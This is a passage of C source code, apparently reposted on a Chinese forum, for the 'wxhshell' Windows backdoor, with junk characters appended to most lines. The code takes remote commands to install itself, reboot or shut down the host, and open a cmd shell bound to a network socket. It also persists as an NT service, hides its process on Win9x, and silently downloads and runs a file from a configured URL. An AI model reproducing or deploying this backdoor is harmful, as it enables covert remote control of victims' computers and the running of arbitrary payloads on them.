  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AX**q$ 'R  
  else Z{#^lhHx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vVyO}Q`  
  } 2a.NWJS  
  else { 9BI5qHEp  
4 E3@O  
    switch(cmd[0]) { ,-  ]2s_  
  c Yx=8~-  
  // 帮助 )$q<"t\#P#  
  case '?': { 1E$Z]5C9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xy mK|  
    break; qU8UKIP  
  } VR?7{3  
  // 安装 <6<uO\B\  
  case 'i': { {%D "0*^  
    if(Install()) jbIWdHZ/US  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z.6`O1OY}?  
    else wdBytH6r.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?3SlvKI}H`  
    break; ?f']*pD8  
    } \!ESmxSa;  
  // 卸载 y NV$IN%  
  case 'r': { ?Z4& j'z<  
    if(Uninstall()) PL~k `L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2?t(%uf]  
    else NJqALm!(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (m;P,*  
    break; !qrF=a  
    } 4NR,"l)  
  // 显示 wxhshell 所在路径 miS+MK"  
  case 'p': { {J})f>x<xM  
    char svExeFile[MAX_PATH]; %>I!mD"X\  
    strcpy(svExeFile,"\n\r"); !P@u4FCs  
      strcat(svExeFile,ExeFile);  p<*-B  
        send(wsh,svExeFile,strlen(svExeFile),0); 1)_f9GR  
    break; TG?;o/  
    } ?P`wLS^;  
  // 重启  >o.u,  
  case 'b': { q,nj|9z V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gEKJrAA  
    if(Boot(REBOOT)) }/c.>U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?[!.TU?4N  
    else { ) 2S0OY.  
    closesocket(wsh); ""pJO 6bI  
    ExitThread(0); $L</{bXW  
    } {(a@3m~a%  
    break; 3kR- WgVF,  
    } ^Jnp\o>  
  // 关机 hph 3kfR  
  case 'd': { Jq6p5jr"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W[^XG\  
    if(Boot(SHUTDOWN)) ac+7D:X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l^$:R~gS  
    else { PNc200`v4_  
    closesocket(wsh); vJ"@#$.  
    ExitThread(0); 9q* sR1  
    } Br#]FB|tD  
    break; w-/bLg[L?$  
    } s #L1:L  
  // 获取shell [Hd^49<P2  
  case 's': { *otJtEI>6  
    CmdShell(wsh); Yf{s0Z  
    closesocket(wsh); W@wT ,yJ8@  
    ExitThread(0); Gw+z8^|C&}  
    break;  EVq<gGy  
  } S}Mxm 2  
  // 退出 2#+@bk>^{  
  case 'x': { Q|5wz]!5Y(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R63"j\0  
    CloseIt(wsh); Y}1|/6eJ  
    break; &OI=r vDmo  
    } ][G<CO`k  
  // 离开 _"WQi}Mm  
  case 'q': { `n^jU92  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qk_ s"}sS  
    closesocket(wsh); bO2$0!=I  
    WSACleanup(); ?WAlW,H>  
    exit(1); $%1[<}<  
    break; Q8:u1$}  
        } U +mx@C_  
  } ' J-(v  
  } _|A)ueY  
Z]SCIU @+  
  // 提示信息 Nm,v E7M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <[~x]-  
} Hlz4f+#I  
  } +!_^MBkk  
;U20g:K  
  return; !5A nr  
} W{-N,?z  
f2{4Y)  
// shell模块句柄 }WCz*v1Wq  
int CmdShell(SOCKET sock) xY!]eLZ)&  
{ 3I"&Qp%2  
STARTUPINFO si; K] Eq"3  
ZeroMemory(&si,sizeof(si)); sS-5W-&P{T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c&0IJ7fZG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pi8U}lG;  
PROCESS_INFORMATION ProcessInfo; gpw(j0/Fs  
char cmdline[]="cmd"; /u #9M {  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B1LnuB%  
  return 0; *\joaw  
} l,v:[N  
Qy6Avw/$  
// 自身启动模式 ,%KB\;1mn'  
int StartFromService(void) q!AS}rV  
{ |xf%1(Rl@  
typedef struct tS!~> X  
{ gcv,]v 8  
  DWORD ExitStatus; 1/&j'B  
  DWORD PebBaseAddress; P%/+?(?  
  DWORD AffinityMask; "V9!srIC  
  DWORD BasePriority; RisrU  
  ULONG UniqueProcessId; *K+*0_  
  ULONG InheritedFromUniqueProcessId; Tl=vgs1  
}   PROCESS_BASIC_INFORMATION; 2}}~\C}o+  
$iP#8La:Y  
PROCNTQSIP NtQueryInformationProcess; ZnJnjW PQ  
x(t} H8q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 55!9U:{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^ MddfBwk  
=} vG|  
  HANDLE             hProcess; 8L|C&Ymj  
  PROCESS_BASIC_INFORMATION pbi; ,$}Q#q  
_aD x('  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M.IV{gj  
  if(NULL == hInst ) return 0; Lqch~@E&%#  
Q`//HOM,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G)e 20Mst  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z2$-},i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 94a _ W9  
3aDma/  
  if (!NtQueryInformationProcess) return 0; AVcZ.+?  
SU#|&_wtr!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x`lBG%Y[-v  
  if(!hProcess) return 0; gq0gr?  
V!Joh5=a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +'KM~c?]  
SjJUhTb  
  CloseHandle(hProcess); 7P\sn<  
FcWu#}.p}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B[$SA-ZHi  
if(hProcess==NULL) return 0; Lte\;Se.tu  
';lO[B  
HMODULE hMod; 6Edqg   
char procName[255]; QU#/(N(U#T  
unsigned long cbNeeded; '8Gw{&&  
R -h7c!ko  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tl1?5  
~]yqJYiid^  
  CloseHandle(hProcess); XG [%oL  
-#i%4[v  
if(strstr(procName,"services")) return 1; // 以服务启动 3{_+dE"9  
4({=(O  
  return 0; // 注册表启动 ,>g 6OU2~6  
} .6'T;SoK>  
J`V6zGgW  
// 主模块 1U9iNki  
int StartWxhshell(LPSTR lpCmdLine) UbYKiLDF)  
{ Mr1pRIYMd  
  SOCKET wsl; :5Vu.\,1  
BOOL val=TRUE; s e1ipn_A  
  int port=0; _E "[%  
  struct sockaddr_in door;  ?Z!KV=  
sV+>(c-$  
  if(wscfg.ws_autoins) Install(); *o>E{  
wXZ-%,R -D  
port=atoi(lpCmdLine); Zn^E   
\GWq0z&  
if(port<=0) port=wscfg.ws_port; + X ?jf.4  
y%GV9  
  WSADATA data; MUo?ajbqOd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~ACB #D%  
>Y,7>ahyt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *PI3L/*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^Uf`w7"iY  
  door.sin_family = AF_INET; h\dIp`H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h!Q >h7  
  door.sin_port = htons(port); _AO0:&  
lu{}j4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :#LB}=HQ  
closesocket(wsl); dHu]wog  
return 1; Ltj}>.+  
} l-Xxv  
RS:0xN\JN  
  if(listen(wsl,2) == INVALID_SOCKET) { MVj@0W33m  
closesocket(wsl); k]JLk"K  
return 1; s R~&S))  
} hT_snb;ow  
  Wxhshell(wsl); BNByaC  
  WSACleanup(); IM#+@vv  
DTJ  
return 0; c]LH.  
e Jwr  
} L"Gi~:z  
*[U:'o `67  
// 以NT服务方式启动 q+DH2&E'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4H,DG`[Mo  
{ z_H2 L"Z  
DWORD   status = 0; 2Fh_  
  DWORD   specificError = 0xfffffff; FFkG,XH  
jmb\eOq+~V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 63f/-64?7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'L m `L<`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G'epsD,.bX  
  serviceStatus.dwWin32ExitCode     = 0; b'&pJ1]]}  
  serviceStatus.dwServiceSpecificExitCode = 0; w Vof_'F1  
  serviceStatus.dwCheckPoint       = 0; [X I5Bu ~  
  serviceStatus.dwWaitHint       = 0; Cse0!7_T  
_E%[D(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mSzwx/3"  
  if (hServiceStatusHandle==0) return; p"JSYF 9]  
EW!$D  
status = GetLastError(); AVJk  
  if (status!=NO_ERROR) dnx}c4P  
{ GGBe/X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X XF9oy8  
    serviceStatus.dwCheckPoint       = 0; JC#@sJ4az)  
    serviceStatus.dwWaitHint       = 0; Dux`BKl  
    serviceStatus.dwWin32ExitCode     = status; U %4g:s  
    serviceStatus.dwServiceSpecificExitCode = specificError; -Z Z$ 1E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 06`__$@h  
    return; _(jE](,  
  } UqHOS{\Sz  
Z 0:2x(x9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JTI m`t"d=  
  serviceStatus.dwCheckPoint       = 0; d;=,/a  
  serviceStatus.dwWaitHint       = 0; 9j 8t<5s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OBl8kH(b>  
} ZMe|fn  
3x'30  
// 处理NT服务事件,比如:启动、停止 ky#6M? \  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e\dT~)c  
{ sV6A& Aw  
switch(fdwControl) w0IB8GdF  
{ y((_V%F}  
case SERVICE_CONTROL_STOP: WY,t> 1c  
  serviceStatus.dwWin32ExitCode = 0; @v'D9 ?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I>xB.$A  
  serviceStatus.dwCheckPoint   = 0; gv,T<A?Z2  
  serviceStatus.dwWaitHint     = 0; <\8   
  { =oTYwU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U&5zs r  
  } W wE)XE  
  return; ]UI+6}r  
case SERVICE_CONTROL_PAUSE: t[maUy _A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >R: +ml  
  break; b[k 1)R"  
case SERVICE_CONTROL_CONTINUE: GlZ9k-ZRF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K8 Y/XEK  
  break; 5 QeGx3'  
case SERVICE_CONTROL_INTERROGATE: jysV%q 3  
  break; Dmi;# WY  
}; ;Y '\:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); </Id';|v  
} n96gDH*  
Fs|;>Up0  
// 标准应用程序主函数 YUb,5Y0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L,Nr,QC-  
{ z|<oxF.  
]Yu+M3Fq  
// 获取操作系统版本 V[M#qZS  
OsIsNt=GetOsVer(); acZHb[w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l!  y _P  
D5>~'N3b  
  // 从命令行安装 ]*@$%iCPE  
  if(strpbrk(lpCmdLine,"iI")) Install(); !VHIl&Mos  
t/1NTa  
  // 下载执行文件 _pGviGR  
if(wscfg.ws_downexe) { ,OCTm%6e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xdM#>z`;  
  WinExec(wscfg.ws_filenam,SW_HIDE); =Q}mJs  
} h%s  
h6e$$-_  
if(!OsIsNt) { )r i3ds  
// 如果时win9x,隐藏进程并且设置为注册表启动 713M4CtJ  
HideProc(); qlJOb}$ I  
StartWxhshell(lpCmdLine); lnWi E}F  
} [8P2V  
else +E~`H^  
  if(StartFromService()) Z ~9N  
  // 以服务方式启动 PoJyWC  
  StartServiceCtrlDispatcher(DispatchTable); f5 %&  
else =)YYx8gR  
  // 普通方式启动 zrO|L|F&P  
  StartWxhshell(lpCmdLine); ss{=::#  
uq%3;#[0  
return 0; Nj_sU0Dt  
}
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只看该作者 1 发表于: 2006-10-10
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